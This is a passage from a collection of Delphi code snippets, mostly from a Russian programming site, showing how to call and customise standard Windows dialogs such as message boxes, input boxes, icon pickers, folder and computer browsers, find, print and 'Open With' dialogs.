sh := tshape.create(frm);
sh.parent := frm;
sh.Align := alClient;
sh.brush.color := BgColor;
sh.pen.color := BvColor;
sh.pen.style := pssolid;
sh.Pen.Width := 2;
lb := tlabel.Create(frm);
lb.parent := frm;
lb.Left := 10;
lb.top := 5;
lb.Caption := msg;
lb.Font.Size := 14;
lb.Font.Style := [fsbold];
lb.Alignment := taCenter;
lb.AutoSize := true;
lb.Transparent := true;
lb.WordWrap := true;
clientwidth := lb.Canvas.TextWidth(msg) + 20;
clientheight := lb.Canvas.TextHeight(msg) + 10;
lb.Font.color := TxColor;
show;
end;
application.processmessages;
result := frm;
end;
Пример использования:
// Например, заводим переменную:
var
f: tform;
// Для появления таблички, делаем:
f := ShowWaitMsg('Привет! Это программа Васи Пупкина!',
clWhite, ClNavy, clBlack);
// Для того, чтобы потом избавиться от нее:
f.free;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Открытие диалогового окна «Отключение сетевого диска»
Зависимости: Windows
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 21 мая 2002 г.
***************************************************** }
function DisconnectNetworkDrive(Wnd: HWND = 0): DWORD;
begin
if Wnd = 0 then
Wnd := FindWindow('Shell_TrayWnd', '');
Result := WNetDisconnectDialog(Wnd, RESOURCETYPE_DISK);
end;
// Пример использования:
DisconnectNetworkDrive(Application.Handle);
------------------------------------------------------
Попробуйте WNetConnectionDialog. Данная функция инкапсулирована в Windows.pas и специально предназначена для этого.
function MapNetworkDrive(Wnd: HWND = 0): DWORD;
begin
if Wnd = 0 then
Wnd := FindWindow('Shell_TrayWnd', '');
Result := WNetConnectionDialog(Wnd, RESOURCETYPE_DISK);
end;
// Пример использования:
MapNetworkDrive(Application.Handle);
uses ShellAPI;
procedure ShowAbout;
begin
ShellAbout(Form1.Handle, 'Напиши здесь название программы',
'Заяви здесь о своих авторских правах на программу' + #13#10 +
'можно в две строки', Application.Icon.Handle);
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вызывает диалог выбора иконки (как при смене значка на десктопе)
Зависимости: uses activex;
Автор: Babay_S
Copyright: Мои раскопки
Дата: 27 сентября 2002 г.
***************************************************** }
uses activex;
function ChangeIconDialog(hOwner: LongInt; Filename: string; var IconIndex:
LongInt): LongInt;
{Вызывает диалог выбора иконки (как при смене значка на десктопе)
Параметры
hOwner - хэндл родителя.
FileName - полный путь файла с иконками (должен существовать).
Если в указанном файле нет иконок, вызываются иконки Shell32.dll.
IconIndex возвращает номер иконки в файле.
Результат выполнения функции возвращает 1 если иконка выбрана и 0 если отмена
Далее эту иконку можно вытащить с помощью вполне документированной функции
ExtractIconEx из той же библиотеки.
}
implementation
function SHChangeIconDialog(hOwner: LongInt; sFilename: LPWSTR; nBuf: LongInt;
var nIconIndex: LongInt): LongInt;
stdcall; external 'Shell32.dll' index 62;
function ChangeIconDialog(hOwner: LongInt; Filename: string; var IconIndex:
LongInt): LongInt;
var
nFileName: LPWSTR;
FNLen: Integer;
i: LongInt;
begin
FNLen := Length(FileName) + 1;
nFileName := CoTaskMemAlloc(FnLen * sizeof(WideChar));
StringToWideChar(FileName, nFileName, FnLen);
if FileName = '' then
nFileName := nil;
Result := SHChangeIconDialog(hOwner, nFileName, 0, IconIndex);
CoTaskMemFree(nFileName);
end;
Доработанная функция
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вызывает диалог выбора иконки. Доработанная
Функция вызова диалогового окно "Изменение иконки"
Зависимости: Windows, SysUtils
Автор: Alex Sal'nikov, alex-co@narod.ru, Москва
Copyright: Доработка библиотеки JVCL
Дата: 15 июля 2003 г.
***************************************************** }
uses
Windows, SysUtils;
function ChangeIconDialog(hOwner: tHandle; var FileName: string; var IconIndex:
Integer): Boolean;
// Функция вызова диалогового окно "Изменение иконки"
implementation
resourcestring
SNotSupported = 'This function is not supported by your version of Windows';
function ChangeIconDialog(hOwner: tHandle; var FileName: string; var IconIndex:
Integer): Boolean;
type
SHChangeIconProc = function(Wnd: HWND; szFileName: PChar; Reserved: Integer;
var lpIconIndex: Integer): DWORD; stdcall;
SHChangeIconProcW = function(Wnd: HWND; szFileName: PWideChar;
Reserved: Integer; var lpIconIndex: Integer): DWORD; stdcall;
const
Shell32 = 'shell32.dll';
var
ShellHandle: THandle;
SHChangeIcon: SHChangeIconProc;
SHChangeIconW: SHChangeIconProcW;
Buf: array[0..MAX_PATH] of Char;
BufW: array[0..MAX_PATH] of WideChar;
begin
Result := False;
SHChangeIcon := nil;
SHChangeIconW := nil;
ShellHandle := Windows.LoadLibrary(PChar(Shell32));
try
if ShellHandle <> 0 then
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
SHChangeIconW := GetProcAddress(ShellHandle, PChar(62))
else
SHChangeIcon := GetProcAddress(ShellHandle, PChar(62));
end;
if Assigned(SHChangeIconW) then
begin
StringToWideChar(FileName, BufW, SizeOf(BufW));
Result := SHChangeIconW(hOwner, BufW, SizeOf(BufW), IconIndex) = 1;
if Result then
FileName := BufW;
end
else if Assigned(SHChangeIcon) then
begin
StrPCopy(Buf, FileName);
Result := SHChangeIcon(hOwner, Buf, SizeOf(Buf), IconIndex) = 1;
if Result then
FileName := Buf;
end
else
raise Exception.Create(SNotSupported);
finally
if ShellHandle <> 0 then
FreeLibrary(ShellHandle);
end;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
file: string;
index: Integer;
begin
ChangeIconDialog(Handle, file, index);
Edit1.Text := file;
Edit2.Text := IntToStr(index);
end;
Чтобы вызвать диалог, в котором бы пользователь должен был ввести что-нибудь, достаточно воспользоваться функцией
InputBox или InputQuery. Эти функции создают диалог с полем ввода, надписью над ним и двумя кнопками: "OK" и "Cancel".
Параметры управляют заголовком окна, надписью над полем ввода и начальным значением. Функции отличаются тем, что
после вызова InputBox нельзя понять: пользователь нажал "OK", не изменив текст, или "Cancel", а текст был
восстановлен самой фунцией. InputQuery возвращает значение типа boolean по которому можно определить, какую
кнопку нажал пользователь. Пример:
procedure TForm1.Button1Click(Sender: TObject);
begin
Form1.Caption := InputBox('Заголовок окна',
'Введите, пожалуйста, заголовок окна:', Form1.Caption);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
s: string;
begin
s := Form1.Caption;
if not InputQuery('Заголовок окна',
'Введите, пожалуйста, заголовок окна:', s)
then s := 'No value';
Form1.Caption := s;
end;
uses
ShlObj, ActiveX;
function BrowseComputer(DialogTitle: string; var CompName: string;
bNewStyle: Boolean): Boolean;
// bNewStyle: If True, this code will try to use the "new"
// BrowseForFolders UI on Windows 2000/XP
const
BIF_USENEWUI = 28;
var
BrowseInfo: TBrowseInfo;
ItemIDList: PItemIDList;
ComputerName: array[0..MAX_PATH] of Char;
Title: string;
WindowList: Pointer;
ShellMalloc: IMalloc;
begin
if Failed(SHGetSpecialFolderLocation(Application.Handle, CSIDL_NETWORK, ItemIDList)) then
raise Exception.Create('Unable open browse computer dialog');
try
FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
BrowseInfo.hwndOwner := Application.Handle;
BrowseInfo.pidlRoot := ItemIDList;
BrowseInfo.pszDisplayName := ComputerName;
Title := DialogTitle;
BrowseInfo.lpszTitle := PChar(Pointer(Title));
if bNewStyle then
BrowseInfo.ulFlags := BIF_BROWSEFORCOMPUTER or BIF_USENEWUI
else
BrowseInfo.ulFlags := BIF_BROWSEFORCOMPUTER;
WindowList := DisableTaskWindows(0);
try
Result := SHBrowseForFolder(BrowseInfo) <> nil;
finally
EnableTaskWindows(WindowList);
end;
if Result then CompName := ComputerName;
finally
if Succeeded(SHGetMalloc(ShellMalloc)) then
ShellMalloc.Free(ItemIDList);
end;
end;
// Example
procedure TForm1.Button1Click(Sender: TObject);
var
Computer: string;
begin
BrowseComputer('...', Computer, True);
label1.Caption := Computer;
end;
Пример показывает стандартное диалоговое окно, которое обычно используется для подтверждения дальнейших действий в
любой программе с галочкой "Don't show this message again."
Используем функцию CreateMessageDialog и добавляем любой компонент до того как будет вызвана ShowModal.
Например:
procedure TForm1.Button1Click(Sender: TObject);
var
AMsgDialog: TForm;
ACheckBox: TCheckBox;
begin
AMsgDialog := CreateMessageDialog('This is a test message.', mtWarning, [mbYes, mbNo]);
ACheckBox := TCheckBox.Create(AMsgDialog);
with AMsgDialog do
try
Caption := 'Dialog Title' ;
Height := 169;
with ACheckBox do
begin
Parent := AMsgDialog;
Caption := 'Don''t show me again.';
top := 121;
Left := 8;
Width := 140;
end;
case ShowModal of
ID_YES: ;//здесь Ваш код после того как диалог будет закрыт
ID_NO: ;
end;
if ACheckBox.Checked then
begin
//...
end;
finally
ACheckBox.Free;
Free;
end;
end;
function DefMessageDlg(const ACaption: string;
const Msg: string;
DlgType: TMsgDlgType;
Buttons: TMsgDlgButtons;
DefButton: Integer;
HelpCtx: Longint): Integer;
var
i: Integer;
btn: TButton;
begin
with CreateMessageDialog(Msg, DlgType, Buttons) do
try
Caption := ACaption;
HelpContext := HelpCtx;
for i := 0 to ComponentCount - 1 do
begin
if (Components[i] is TButton) then
begin
btn := TButton(Components[i]);
btn.default := btn.ModalResult = DefButton;
if btn.default then ActiveControl := btn;
end;
end;
Result := ShowModal;
finally
Free;
end;
end;
// Sets the focus on the "No"-Button
// Setzt den Fokus auf den "Nein"-Button
procedure TForm1.Button1Click(Sender: TObject);
begin
if DefMessageDlg('Title',
'....?',
mtConfirmation,
mbYesNoCancel,
mrNo,
0) = mrYes then
ShowMessage('....');
end;
{
Sometimes we need to replace some text or something other in standard Windows
Open/Save dialogs.
Unfortunately, Delphi's dialogs components don't provide
the access to all controls placed on Windows common dialogs.
But we can perform this using Windows API.
The Example below demonstrates the changing all embedded
text controls in Open dialog.}
{
Das Beispiel zeigt, wie man den Text in einem TOpenDialog
durch eigenen ersetzen kann.
}
uses
CommDlg;
{...}
procedure TForm1.OpenDialog1Show(Sender: TObject);
{First, we need to determine identifiers of dialog's
controls, they are following:}
const
LB_FILETYPES_ID = 1089; // "File types:" label
LB_FILENAME_ID = 1090; // "File name:" label
LB_DRIVES_ID = 1091; // "Look in:" label
Str1 = 'Four';
Str2 = 'Five';
Str3 = 'One';
Str4 = 'Two';
Str5 = 'Three';
var
hOpenDialog: HWND;
begin
hOpenDialog := GetParent(OpenDialog1.Handle);
SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, idOk, Longint(PChar(Str1)));
SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, idCancel, Longint(PChar(Str2)));
SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_FILETYPES_ID, Longint(PChar(Str3)));
SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_FILENAME_ID, Longint(PChar(Str4)));
SendMessage(hOpenDialog, CDM_SETCONTROLTEXT, LB_DRIVES_ID, Longint(PChar(Str5)));
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
// ...
end;
end;
// for the Print - Dialog:
procedure TForm1.PrintDialog1Show(Sender: TObject);
begin
SetWindowText(GetDlgItem(PrintDialog1.Handle, idOk), '&&OK2');
SetWindowText(GetDlgItem(PrintDialog1.Handle, idCancel), '&Cancel2');
SetWindowText(GetDlgItem(PrintDialog1.Handle, 1025), '&Properties2');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if PrintDialog1.Execute then
begin
// ...
end;
end;
// to Enumerate Control - IDs:
function EnumProc(wnd: HWND; Lines: TStrings): BOOL; stdcall;
var
buf, Caption: array [0..255] of char;
begin
Result := True;
GetClassname(wnd, buf, 256);
GetWindowText(wnd, Caption, 256);
Lines.Add(Format('ID: %d, class: %s, caption: %s',
[GetDlgCtrlID(wnd), buf, Caption]));
end;
procedure TForm1.PrintDialog1Show(Sender: TObject);
begin
memo1.Clear;
EnumChildWindows(Printdialog1.Handle, @EnumProc, Integer(memo1.Lines));
end;
Имеется функция Windows API, преобразующя уродливые Windows-окна, информирующие об ошибках в в привычные исключения
Delphi, что, по крайней мере, более эстетично и полезно (поскольку в этом случае ошибка может быть перехвачена и
обработана вашей программой).
SetErrorMode(SEM_FAILCRITICALERRORS);
Это все! Эта функция сообщает Windows о том, что вызвавшая ошибку программа будет сама обрабатывать критические ошибки.
procedure TForm1.Button1Click(Sender: TObject);
var
f: TForm;
begin
// Create the MessageDialog
// Den MessageDialog erstellen
f := Dialogs.CreateMessageDialog('HELLOWORLD', dialogs.mtInformation, dialogs.mbOKCancel);
// Set the backcolor to blue.
// farbt die Form blau.
f.Color := clBlue;
// Set textcolor to lime
// Farbt die Schrift lime
f.Font.Color := clLime;
// Zeigt die Form an und wartet auf den ModalResult.
// Shows the dialog and wait for the modalresult
if f.ShowModal = mrOk then
ShowMessage('OK Pressed, OK wurde gedruckt')
else
ShowMessage('Cancel pressed. Abbrechen wurde gedruckt');
end;
function MyMessageDialog(const Msg: string; DlgType: TMsgDlgType;
Buttons: TMsgDlgButtons; Captions: array of string): Integer;
var
aMsgDlg: TForm;
i: Integer;
dlgButton: TButton;
CaptionIndex: Integer;
begin
{ Create the Dialog }
{ Dialog erzeugen }
aMsgDlg := CreateMessageDialog(Msg, DlgType, Buttons);
captionIndex := 0;
{ Loop through Objects in Dialog }
{ Uber alle Objekte auf dem Dialog iterieren}
for i := 0 to aMsgDlg.ComponentCount - 1 do
begin
{ If the object is of type TButton, then }
{ Wenn es ein Button ist, dann...}
if (aMsgDlg.Components[i] is TButton) then
begin
dlgButton := TButton(aMsgDlg.Components[i]);
if CaptionIndex > High(Captions) then Break;
{ Give a new caption from our Captions array}
{ Schreibe Beschriftung entsprechend Captions array}
dlgButton.Caption := Captions[CaptionIndex];
Inc(CaptionIndex);
end;
end;
Result := aMsgDlg.ShowModal;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if MyMessageDialog('How much...?', mtConfirmation, mbOKCancel,
['1', '2']) = mrOk then
ShowMessage('"1" clicked')
else
ShowMessage('"2" clicked');
end;
Данная функция демонстрирует 3 очень мощных и полезных процедуры, интегрированных в Delphi.
Диалоговые окна InputBox и InputQuery позволяют пользователю вводить данные.
Функция InputBox используется в том случае, когда не имеет значения что пользователь выбирает для закрытия
диалогового окна - кнопку OK или кнопку Cancel (или нажатие клавиши Esc). Если вам необходимо знать какую кнопку
нажал пользователь (OK или Cancel (или нажал клавишу Esc)), используйте функцию InputQuery.
ShowMessage - другой простой путь отображения сообщения для пользователя.
procedure TForm1.Button1Click(Sender: TObject);
var
s, s1: string;
b: boolean;
begin
s := Trim(InputBox('Новый пароль', 'Пароль', 'masterkey'));
b := s <> '';
s1 := s;
if b then
b := InputQuery('Повторите пароль', 'Пароль', s1);
if not b or (s1 <> s) then
ShowMessage('Пароль неверен');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessageFmt('This is %s.'#13'Handle: %.8x '#13'WindowProc: %p',
[Caption, Handle, @WindowProc]);
end;
%s — вместо нее подставляется первый параметр из [], приведенный к типу String
%.8x — подставляется целое, переведенное в 16-ричную систему, дополненное слева нулями до 8-ми цифр
%p — подставляется указатель
{
This code displays the application/file "Open With" dialog
Passing the full file path and name as a parameter will cause the
dialog to display the line "Click the program you want to use to open
the file 'filename'".
}
uses
ShellApi;
procedure OpenWith(FileName: string);
begin
ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
PChar('shell32.dll,OpenAs_RunDLL ' + FileName), nil, SW_SHOWNORMAL);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if Opendialog1.Execute then
OpenWith(Opendialog1.FileName);
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Открытие сокращённого или полного диалога выбора цвета
Вид диалога зависит от того, можно ли показать начальный цвет
(C : TColor) в сокращённом диалоге или нужно раскрывать его полностью.
Возвращает выбранный пользователем цвет.
Зависимости: Windows, Messages, SysUtils, Classes, DIALOGS;
Автор: Igor Kovalevsky, pc-ambulance@mail.ru, Владикавказ
Copyright: Igor Kovalevsky
Дата: 1 июня 2002 г.
***************************************************** }
function SelectColor(C: TColor): TColor;
const
BasicColors = [$00, $40, $80, $A0, $C0, $FF];
begin
with TColorDialog.Create(Application) do
begin
Color := C;
if (GetRValue(Color) in BasicColors) and
(GetGValue(Color) in BasicColors) and
(GetBValue(Color) in BasicColors) then
begin
Options := Options - [cdFullOpen];
end
else
begin
Options := Options + [cdFullOpen];
end;
if Execute then
begin
Result := Color
end
else
begin
Result := clNone;
end;
Free;
end;
end;
const
mbMessage = WM_USER + 1024;
type
private
procedure ChangeMessageBoxPosition(var Msg: TMessage); message mbMessage;
end;
var
Form1: TForm1;
msgCaption: PChar; // variable to hold the caption
implementation
{$R *.DFM}
procedure TForm1.ChangeMessageBoxPosition(var Msg: TMessage);
var
MbHwnd: longword;
MbRect: TRect;
x, y, w, h: integer;
begin
MbHwnd := FindWindow(MAKEINTRESOURCE(WC_DIALOG), msgCaption);
if (MbHwnd <> 0) then
begin
GetWindowRect(MBHWnd, MBRect);
with MbRect do
begin
w := Right - Left;
h := Bottom - Top;
end;
// center horzontal
x := Form1.Left + ((Form1.Width - w) div 2);
// keep on screen
if x < 0 then
x := 0
else if x + w > Screen.Width then x := Screen.Width - w;
//center vertical
y := Form1.Top + ((Form1.Height - h) div 2);
// keep on screen
if y < 0 then y := 0
else if y + h > Screen.Height then y := Screen.Height - h;
// set new windows position
SetWindowPos(MBHWnd, 0, x, y, 0, 0, SWP_NOACTIVATE or SWP_NOSIZE or SWP_NOZORDER);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
PostMessage(Handle, WM_USER + 1024, 0, 0);
msgCaption := 'Confirm';
MessageBox(Handle, 'Has our MessageBox moved ?', msgCaption,
MB_ICONQUESTION or MB_YESNO);
end;
private
{ Private declarations }
FSelPos: integer;
public
{ Public declarations }
end;
var
Form1 : TForm1;
implementation
{$R *.dfm}
procedure TForm1.FindDialog1Find(Sender : TObject);
var
S : string;
startpos : integer;
begin
with TFindDialog(Sender) do
begin
{If the stored position is 0 this cannot be a find next. }
if FSelPos = 0 then
Options := Options - [frFindNext];
{ Figure out where to start the search and get the corresponding
text from the memo. }
if frfindNext in Options then
begin
{ This is a find next, start after the end of the last found word. }
StartPos := FSelPos + Length(Findtext);
S := Copy(Memo1.Lines.Text, StartPos, MaxInt);
end
else
begin
{ This is a find first, start at the, well, start. }
S := Memo1.Lines.Text;
StartPos := 1;
end;
{ Perform a global case-sensitive search for FindText in S }
FSelPos := Pos(FindText, S);
if FSelPos > 0 then
begin
{ Found something, correct position for the location of the start
of search. }
FSelPos := FSelPos + StartPos - 1;
Memo1.SelStart := FSelPos - 1;
Memo1.SelLength := Length(FindText);
Memo1.SetFocus;
end
else
begin
{ No joy, show a message. }
if frfindNext in Options then
S := Concat('There are no further occurences of "', FindText,
'" in Memo1.')
else
S := Concat('Could not find "', FindText, '" in Memo1.');
MessageDlg(S, mtError, [mbOK], 0);
end;
end;
end;
// Show the FindDialog
// Den FindDialog anzeigen
procedure TForm1.Button1Click(Sender : TObject);
begin
FSelPos := 0;
FindDialog1.Execute;
end;
{
This code displays the application/file "Open With" dialog
Passing the full file path and name as a parameter will cause the
dialog to display the line "Click the program you want to use to open
the file 'filename'".
}
uses
ShellApi;
procedure OpenWith(FileName: string);
begin
ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
PChar('shell32.dll,OpenAs_RunDLL ' + FileName), nil, SW_SHOWNORMAL);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if Opendialog1.Execute then
OpenWith(Opendialog1.FileName);
end;
{....}
uses
ShlObj, ActiveX;
{....}
{
This code shows the SelectDirectory dialog with additional expansions:
- an edit box, where the user can type the path name,
- also files can appear in the list,
- a button to create new directories.
Dieser Code zeigt den SelectDirectory-Dialog mit zusatzlichen Erweiterungen:
- eine Edit-Box, wo der Benutzer den Verzeichnisnamen eingeben kann,
- auch Dateien konnen in der Liste angezeigt werden,
- eine Schaltflache zum Erstellen neuer Verzeichnisse.
}
function AdvSelectDirectory(const Caption: string; const Root: WideString;
var Directory: string; EditBox: Boolean = False; ShowFiles: Boolean = False;
AllowCreateDirs: Boolean = True): Boolean;
// callback function that is called when the dialog has been initialized
//or a new directory has been selected
// Callback-Funktion, die aufgerufen wird, wenn der Dialog initialisiert oder
//ein neues Verzeichnis selektiert wurde
function SelectDirCB(Wnd: HWND; uMsg: UINT; lParam, lpData: lParam): Integer;
stdcall;
var
PathName: array[0..MAX_PATH] of Char;
begin
case uMsg of
BFFM_INITIALIZED: SendMessage(Wnd, BFFM_SETSELECTION, Ord(True), Integer(lpData));
// include the following comment into your code if you want to react on the
//event that is called when a new directory has been selected
// binde den folgenden Kommentar in deinen Code ein, wenn du auf das Ereignis
//reagieren willst, das aufgerufen wird, wenn ein neues Verzeichnis selektiert wurde
{BFFM_SELCHANGED:
begin
SHGetPathFromIDList(PItemIDList(lParam), @PathName);
// the directory "PathName" has been selected
// das Verzeichnis "PathName" wurde selektiert
end;}
end;
Result := 0;
end;
var
WindowList: Pointer;
BrowseInfo: TBrowseInfo;
Buffer: PChar;
RootItemIDList, ItemIDList: PItemIDList;
ShellMalloc: IMalloc;
IDesktopFolder: IShellFolder;
Eaten, Flags: LongWord;
const
// necessary for some of the additional expansions
// notwendig fur einige der zusatzlichen Erweiterungen
BIF_USENEWUI = $0040;
BIF_NOCREATEDIRS = $0200;
begin
Result := False;
if not DirectoryExists(Directory) then
Directory := '';
FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
if (ShGetMalloc(ShellMalloc) = S_OK) and (ShellMalloc <> nil) then
begin
Buffer := ShellMalloc.Alloc(MAX_PATH);
try
RootItemIDList := nil;
if Root <> '' then
begin
SHGetDesktopFolder(IDesktopFolder);
IDesktopFolder.ParseDisplayName(Application.Handle, nil,
POleStr(Root), Eaten, RootItemIDList, Flags);
end;
OleInitialize(nil);
with BrowseInfo do
begin
hwndOwner := Application.Handle;
pidlRoot := RootItemIDList;
pszDisplayName := Buffer;
lpszTitle := PChar(Caption);
// defines how the dialog will appear:
// legt fest, wie der Dialog erscheint:
ulFlags := BIF_RETURNONLYFSDIRS or BIF_USENEWUI or
BIF_EDITBOX * Ord(EditBox) or BIF_BROWSEINCLUDEFILES * Ord(ShowFiles) or
BIF_NOCREATEDIRS * Ord(not AllowCreateDirs);
lpfn := @SelectDirCB;
if Directory <> '' then
lParam := Integer(PChar(Directory));
end;
WindowList := DisableTaskWindows(0);
try
ItemIDList := ShBrowseForFolder(BrowseInfo);
finally
EnableTaskWindows(WindowList);
end;
Result := ItemIDList <> nil;
if Result then
begin
ShGetPathFromIDList(ItemIDList, Buffer);
ShellMalloc.Free(ItemIDList);
Directory := Buffer;
end;
finally
ShellMalloc.Free(Buffer);
end;
end;
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
var
dir: string;
begin
AdvSelectDirectory('Caption', 'c:\', dir, False, False, True);
Label1.Caption := dir;
end;
{
If you are developing network software for Windows NT,
you usually need to ask the user to select a computer or domain
he wants to connect/login.
}
const
FOCUSDLG_DOMAINS_ONLY = 1;
FOCUSDLG_SERVERS_ONLY = 2;
FOCUSDLG_SERVERS_DOMAINS = 3;
FOCUSDLG_BROWSE_LOGON_DOMAIN = $00010000;
FOCUSDLG_BROWSE_WKSTA_DOMAIN = $00020000;
FOCUSDLG_BROWSE_OTHER_DOMAINS = $00040000;
FOCUSDLG_BROWSE_TRUSTING_DOMAINS = $00080000;
FOCUSDLG_BROWSE_WORKGROUP_DOMAINS = $00100000;
FOCUSDLG_BROWSE_ALL_DOMAINS = FOCUSDLG_BROWSE_LOGON_DOMAIN or
FOCUSDLG_BROWSE_WKSTA_DOMAIN or FOCUSDLG_BROWSE_OTHER_DOMAINS or
FOCUSDLG_BROWSE_TRUSTING_DOMAINS or FOCUSDLG_BROWSE_WORKGROUP_DOMAINS;
function SystemFocusDialog(hwndOwner: HWND; dwSelectionFlag: UINT;
wszName: PWideChar; dwBufSize: DWORD; var bOKPressed: Boolean;
wszHelpFile: PWideChar; dwContextHelpId: DWORD): DWORD; stdcall;
external 'ntlanman.dll' Name 'I_SystemFocusDialog';
function ComputerBrowser(hWndParent: HWND; wCompName: PWideChar;
dwBufLen: DWORD): Boolean;
var
dwError: DWORD;
begin
Result := False;
dwError := SystemFocusDialog(hWndParent, FOCUSDLG_SERVERS_DOMAINS or
FOCUSDLG_BROWSE_ALL_DOMAINS,
wCompName, dwBufLen, Result, nil, 0);
if dwError <> NO_ERROR then Exit;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
wCompName: array [0..MAX_COMPUTERNAME_LENGTH + 1] of WideChar;
begin
if ComputerBrowser(0, wCompName, MAX_COMPUTERNAME_LENGTH + 1) then
ShowMessage(wCompName)
else
ShowMessage('no computer selected');
end;
{***************************}
// Show the ServerBrowseDialogA0 Dialog
type
TServerBrowseDialogA0 = function(hwnd: HWND; pchBuffer: Pointer;
cchBufSize: DWORD): bool;
stdcall;
function ShowServerDialog(AHandle: THandle): string;
var
ServerBrowseDialogA0: TServerBrowseDialogA0;
LANMAN_DLL: DWORD;
buffer: array[0..1024] of char;
bLoadLib: Boolean;
begin
LANMAN_DLL := GetModuleHandle('NTLANMAN.DLL');
if LANMAN_DLL = 0 then
begin
LANMAN_DLL := LoadLibrary('NTLANMAN.DLL');
bLoadLib := True;
end;
if LANMAN_DLL <> 0 then
begin @ServerBrowseDialogA0 := GetProcAddress(LANMAN_DLL, 'ServerBrowseDialogA0');
DialogBox(HInstance, MAKEINTRESOURCE(101), AHandle, nil);
ServerBrowseDialogA0(AHandle, @buffer, 1024);
if buffer[0] = '\' then
begin
Result := buffer;
end;
if bLoadLib then
FreeLibrary(LANMAN_DLL);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := ShowServerDialog(Form1.Handle);
end;
uses
DDEMan;
procedure SearchInFolder(Folder: string);
begin
with TDDEClientConv.Create(Self) do
begin
ConnectMode := ddeManual;
ServiceApplication := 'Explorer.exe';
SetLink('Folders', 'AppProperties');
OpenLink;
ExecuteMacro(PChar('[FindFolder(, ' + Folder + ')]'), False);
CloseLink;
Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SearchInFolder('c:\Windows');
end;
{************************************}
// Or even easier with ShellExecute:
ShellExecute(Handle, 'find', 'C:\Windows', nil, nil, SW_SHOW);
{************************************}
// Suchen-Dialog ausfuhren und einen Suchstring ubergeben:
uses
ShellAPI;
procedure WindowsSuchenDialog(Verzeichnis, Suchstring: string);
var
hOtherWin, hFocusWin: HWND;
OtherThreadID, iTimeOut: Integer;
aDwordVar: DWORD;
buf: array [0..40] of Char;
sVerz: string;
begin
// ShellExecute(application.handle, 'find', 'c:\', nil, nil, SW_SHOWNORMAL);
// oder mit TDDEClientConv
with TDDEClientConv.Create(nil) do
begin
ConnectMode := ddeManual;
ServiceApplication := 'explorer.exe';
SetLink('Folders', 'AppProperties');
OpenLink;
sVerz := IncludeTrailingBackslash(Verzeichnis);
ExecuteMacro(PChar('[FindFolder(, '+ sVerz +')]'), False);
CloseLink;
Free;
end;
iTimeOut := 0;
repeat
{ Warten, bis der Such Dialog erscheint.
Unter Win95/98/NT4 hat der Suchdilaog die Klasse #32770.
Unter ME/2000/XP ist die Suche in den Explorer integriert,
darum auf CabinetWClass warten}
Sleep(100);
hOtherWin := GetForegroundWindow;
buf[0] := #0;
GetClassName(hOtherWin, buf, 60);
inc(iTimeOut);
until (StrComp(buf, '#32770') = 0) or (StrComp(buf, 'CabinetWClass') = 0) or (iTimeOut > 20);
if iTimeOut > 20 then Exit;
repeat
{ Wait until it is visible }
{ Warten, bis das Fenster erscheint }
Sleep(100);
until IsWindowVisible(hOtherWin);
{ Handle vom Control finden, welches den Fokus besitzt }
OtherThreadID := GetWindowThreadProcessID(hOtherWin, @aDwordvar);
if AttachThreadInput(GetCurrentThreadID, OtherThreadID, True) then
begin
hFocusWin := GetFocus;
if hFocusWin <> 0 then
try
SendMessage(hFocusWin, WM_SETTEXT, 0, Longint(PChar(Suchstring)));
finally
AttachThreadInput(GetCurrentThreadID, OtherThreadID, False);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
WindowsSuchenDialog('c:\temp','test.txt');
end;
// Unit for TExtendedPrintDialog
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtDlgs, extctrls, stdctrls, CommDlg, Dlgs;
type
TExtendedPrintDialog = class(TPrintDialog)
private
fExtendedPanel: TPanel;
fCheckBoxOne,
fCheckBoxTwo: TCheckbox;
fButton: TButton;
protected
procedure DoShow; override;
function GetStaticRect: TRect;
function TaskModalDialog(DialogFunc: Pointer; var DialogData): Bool;
override;
public
constructor Create(AOwner: TComponent); override;
function Execute: Boolean; override;
end;
implementation
constructor TExtendedPrintDialog.Create(AOwner: TComponent);
var
iTop: Integer;
begin
inherited;
fExtendedPanel := TPanel.Create(Self);
with fExtendedPanel do
begin
Name := 'ExtendedPanel';
Caption := '';
SetBounds(0, 0, 169, 200); // (204, 5, 169, 200);
BevelOuter := bvNone;
BorderWidth := 6;
TabOrder := 1;
fButton := TButton.Create(Self);
with fButton do
begin
Name := 'SomeButton';
Caption := '&Options';
SetBounds(0, 10, 50, 21);
Parent := fExtendedPanel;
end;
fCheckBoxOne := TCheckbox.Create(Self);
with fCheckBoxOne do
begin
Name := 'CheckboxOne';
Caption := 'Upside-down print';
SetBounds(fButton.Left + fButton.Width + 10, 3, 110, 21);
fCheckBoxOne.Parent := fExtendedPanel;
end;
fCheckBoxTwo := TCheckbox.Create(Self);
with fCheckBoxTwo do
begin
Name := 'CheckboxTwo';
Caption := 'Sideways print';
SetBounds(fButton.Left + fButton.Width + 10, 23, 100, 21);
